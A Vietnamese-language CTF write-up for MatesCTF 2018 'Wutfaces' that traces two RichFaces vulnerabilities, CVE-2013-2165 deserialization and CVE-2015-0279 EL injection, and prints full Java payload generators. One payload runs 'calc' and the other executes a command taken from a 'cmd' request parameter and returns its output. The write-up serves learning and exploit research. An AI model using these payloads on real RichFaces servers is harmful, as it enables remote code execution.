MatesCTF 2018 Wutfaces

gumgumgumgum
7 min read

Set up

Source của bài mọi người có thể lấy tại đây : https://firebasestorage.googleapis.com/v0/b/blog-resources-3df04.appspot.com/o/ctf_wutfaces_resources.zip?alt=media&token=041ca951-b2fc-4dc9-a8e9-484639cff28d

Bài này mình dựng lại trên tomcat 9.0.5. Mọi người unzip file trên vào \webapps rồi add debug là ok.

Tổng quan

Bài này tuy đã có từ lâu và cũng đã có wu trên mạng nhưng mình vẫn quyết định viết để note lại những gì mình đã học, làm được khi giải bài này.

Ta có thể thấy trong classpath của bài này có sử dụng thư viện richfaces v4.3.2.RichFaces là một trong những thư viện thành phần phổ biến nhất cho JavaServer Faces (JSF) - là một framework để xây dựng giao diện người dùng cho các ứng dụng web.

Search google sẽ thấy thư viện này dính CVE-2013-2165: Arbitrary Java Deserialization in RichFaces 3.x ≤ 3.3.3 and 4.x ≤ 4.3.2 và CVE-2015-0279: Arbitrary EL Evaluation in RichFaces 4.x ≤ 4.5.3.

Và cũng đã có các bài nghiên cứu về các CVE này trước đấy:

  • https://codewhitesec.blogspot.com/2018/05/poor-richfaces.html+
  • https://web.archive.org/web/20190501081357/https://tint0.com/when-el-injection-meets-java-deserialization/
  • https://www.slideshare.net/slideshow/a-little-bit-about-code-injection-in-webapplication-frameworks-cve201814667-h2hc-2018/122410397

1st Solution CVE-2013-2165: Arbitrary Java Deserialization

Link commit bản vá cho lỗ hổng này : https://github.com/richfaces4/core/commit/12ee1166f04806b3ba072d27f9a9b3b3feae2ec9

ở bản vá, method Util.decodeObjectData đã được thêm cơ chế look-ahead deserialization

Cơ chế bảo mật này giúp ta có thể kiểm soát được class nào cho phép khôi phục trong quá trình deserialization bằng whitelist.

Như vậy ta có thể thấy ở bản lỗi trước khi in.readObject() không tồn tại một cơ chế nào để kiểm soát đầu vào tức nếu ta có thể kiểm soát được biến encodedData thì ta có thể thực hiện deser bất kì class nào có trong classpath.

Theo codewhitesec thì serialized objects sẽ được truyền vào thông qua param do sau đó org.richfaces.resource.DefaultCodecResourceRequestData sẽ xử lý để lấy resource trước khi tới decodeObjectData().

quan sát response khi trả về ta thấy phía frontend có gọi tới endpoint /wutfaces/rfRes/skinning.ecss.jsf?db=eAHjW!XqPQAE!QKS để lấy về file css

Ta send lại request tới endpoint trên với param do vì đây là param để xử lý Java serialized object stream và đặt breakpoint tại DefaultCodecResourceRequestData.getData() để trace.

từ stack frame ta thấy resource ta truyền vào sau khi đi qua FacesServlet sẽ được ResouceHandlerImpl.handleResourceRequest() xử lý.

từ đây tiếp tục lấy resourcePath từ /rfRes/ trở đi

sau đó lấy data tức là serialized data mà ta muốn lấy từ param do

tiếp theo gọi tới ResourceFactoryImpl.createResource() để tiến hành decode data và lấy object bằng cách gọi tiếp tới DefaultCodecResourceRequestData.getData().

Như vậy ta đã có được source và sink của lỗ hổng này.

Tiếp theo là phần xây dựng gadget:

Bài này tác giả có cho chúng ta class com.tint0.wutfaces.BookHolder như sau:

method hashCode gọi tới Runtime.getRuntime().exec(). Như vậy ta có thể dùng reflection để thay đổi giá trị của field LOG_COMMAND để có thể thực thi được os command tùy ý.

Còn để gọi được method hashCode trên thì ta có thể sử dụng một phần của chain URLDNS bằng cách sử dụng method Hashmap.put() -> Hashmap.key() -> key.Hashcode.

ObjectInputStream.readObject()
      java.util.HashMap.readObject()
          java.util.HashMap.put()
              java.util.HashMap.hash()
                  com.tint0.wutfaces.BookHolder.hashCode()

Payload

package com.tint0.wutfaces;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.zip.Deflater;
import javax.faces.FacesException;
import org.ajax4jsf.util.base64.Codec;



public class main {
    private static final Codec CODEC = new Codec();

    public static String encodeBytesData(byte[] data) {
        if (data != null) {
            try {
                byte[] dataArray = encrypt(data);
                return new String(dataArray, "ISO-8859-1");
            } catch (Exception var2) {
                System.out.println("Error encode resource data");
            }
        }

        return null;
    }

    public static String encodeObjectData(Object data) {
        if (data != null) {
            try {
                ByteArrayOutputStream dataStream = new ByteArrayOutputStream(1024);
                ObjectOutputStream objStream = new ObjectOutputStream(dataStream);
                objStream.writeObject(data);
                objStream.flush();
                objStream.close();
                dataStream.close();
                return encodeBytesData(dataStream.toByteArray());
            } catch (Exception var3) {
                System.out.println("Error encode resource data");
            }
        }

        return null;
    }

    public static byte[] encrypt(byte[] src) {
        try {
            Deflater compressor = new Deflater(1);
            byte[] compressed = new byte[src.length + 100];
            compressor.setInput(src);
            compressor.finish();
            int totalOut = compressor.deflate(compressed);
            byte[] zipsrc = new byte[totalOut];
            System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
            compressor.end();
            return CODEC.encode(zipsrc);
        } catch (Exception var5) {
            Exception e = var5;
            throw new FacesException("Error encode resource data", e);
        }
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {
        BookHolder bh = new BookHolder();
        Class cls = bh.getClass();
        Field log_cmd = cls.getDeclaredField("LOG_COMMAND");
        log_cmd.setAccessible(true);
        log_cmd.set(bh, "calc");

        HashMap hm = new HashMap();
        hm.put(bh, bh);   // gadget kinh dien goi toi Object.hashCode()

        System.out.println(encodeObjectData(hm));

    }


}

2nd solution CVE-2015-0279 EL injection

Link diff: https://github.com/richfaces/richfaces/commit/4c5ddae4d6ddcea591fa949762c1c79ac11cac99

Tại bản vá method MediaOutputResource.encode() đã được thêm một đoạn check ExpressionString xem có tồn tại các kí tự mở ngoặc ( không nếu có sẽ throw ra lỗi luôn.

Như vậy ta có thể đoán được rằng contentProducer.invoke() hay method invoke của một class nào đó implements MethodExpression chính là nơi chứa sink của lỗ hổng. Nếu ta có thể kiểm soát được ExpressionString tức biến expr của class này ta có thể thực thi một biểu thức el bất kỳ tùy ý.

Theo như report của người tìm ra lỗi này https://web.archive.org/web/20190719112928/https://issues.jboss.org/browse/RF-13977 thì resource mà ta cần request ở đây là org.richfaces.resource.MediaOutputResource.jsf

Đặt breakpoint tại MediaOutputResource.encode() để trace ngược lại.

method này được gọi từ ResourceHandlerImpl.handleResourceRequest() sau khi kiểm tra resource của ta có phải là instance của ContentProducerResource. [1]

Quay trở lại chỗ khởi tạo resource tức là hàm ResourceFactoryImpl.createResource() mà ta đã nói ở solution trước. Sau khi deserialize data và lấy được state object, richfaces sẽ tiến hành restore lại object này và state của nó.

tại Util.restoreResourceState() sẽ kiểm tra resource có phải là instance của StateHolder rồi gọi tới stateHolder.restoreState() ở đây là MediaOutputResource.restoreState

state obj của ta cũng cần phải là instance của StateHolderSaver và trả về StateHolderSaver.savedState [2]

Như vậy tại đây tiến hành restore lại trạng thái (state) của resource MediaOutputResource bằng cách lấy object mà ta deserialize được ở trên và gán cho 5 giá trị như trên trong đó có contentProducer mà ta cần quan tâm như ban đầu đã nói. [3]

Tiếp tục [1], như vậy sau khi khởi tạo được biến resource và trải qua các bước set response header thì ta cũng đã tới được contentProducerResource.encode() line 177 tức MediaOutputResource.encode()

Và cuối cùng gọi tới MethodExpressionImpl.invoke() để inject el thông qua biến expr [4]

Payload

  1. Như vậy data của ta cần truyền vào phải là một mảng object với 5 phần tử tương ứng với 5 giá trị tại theo [3]
  2. Phần tử thứ 4 phải là instance của StateHolderSaver và thuộc tính savedState phải là class MethodExpressionImpl theo [2]
  3. El inject thông qua expr của MethodExpressionImpl theo [4]
package com.tint0.wutfaces;

import javax.faces.component.StateHolderSaver;
import org.ajax4jsf.util.base64.Codec;

import javax.faces.FacesException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.zip.Deflater;

import org.apache.el.MethodExpressionImpl;
import org.apache.el.lang.*;

public class main1 {
    private static final Codec CODEC = new Codec();

    public static String encodeBytesData(byte[] data) {
        if (data != null) {
            try {
                byte[] dataArray = encrypt(data);
                return new String(dataArray, "ISO-8859-1");
            } catch (Exception var2) {
                System.out.println("Error encode resource data");
            }
        }

        return null;
    }

    public static String encodeObjectData(Object data) {
        if (data != null) {
            try {
                ByteArrayOutputStream dataStream = new ByteArrayOutputStream(1024);
                ObjectOutputStream objStream = new ObjectOutputStream(dataStream);
                objStream.writeObject(data);
                objStream.flush();
                objStream.close();
                dataStream.close();
                return encodeBytesData(dataStream.toByteArray());
            } catch (Exception var3) {
                System.out.println("Error encode resource data");
            }
        }

        return null;
    }

    public static byte[] encrypt(byte[] src) {
        try {
            Deflater compressor = new Deflater(1);
            byte[] compressed = new byte[src.length + 100];
            compressor.setInput(src);
            compressor.finish();
            int totalOut = compressor.deflate(compressed);
            byte[] zipsrc = new byte[totalOut];
            System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
            compressor.end();
            return CODEC.encode(zipsrc);
        } catch (Exception var5) {
            Exception e = var5;
            throw new FacesException("Error encode resource data", e);
        }
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {
        boolean isCacheable = false;
        String el = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"calc\")}";
        String el_echo = "#{facesContext.externalContext.response.setContentType(request.getClass().getClassLoader().loadClass(\"java.util.Scanner\").getConstructor(request.getClass().getClassLoader().loadClass(\"java.io.InputStream\")).newInstance(request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(request.getParameter(\"cmd\")).getInputStream()).useDelimiter(\"\\\\A\").next())}";
        VariableMapperImpl vmi = new VariableMapperImpl();
        MethodExpressionImpl mei = new MethodExpressionImpl();
        Field expr = mei.getClass().getDeclaredField("expr");
        Field varmapper = mei.getClass().getDeclaredField("varMapper");
        expr.setAccessible(true);
        varmapper.setAccessible(true);
        expr.set(mei,el_echo);
        varmapper.set(mei,vmi);

        StateHolderSaver shs = new StateHolderSaver();
        Field savedState = shs.getClass().getDeclaredField("savedState");
        savedState.setAccessible(true);
        savedState.set(shs,mei);

        Object[] state = new Object[]{
                isCacheable,      // [0] isCacheable
                null,             // [1] ContentType
                null,             // [2] userData
                shs,              // [3] contentProducer
                null              // [4] filename
        };

        System.out.println(encodeObjectData(state));
    }
}

0
Subscribe to my newsletter

Read articles from gumgum directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

gumgum
gumgum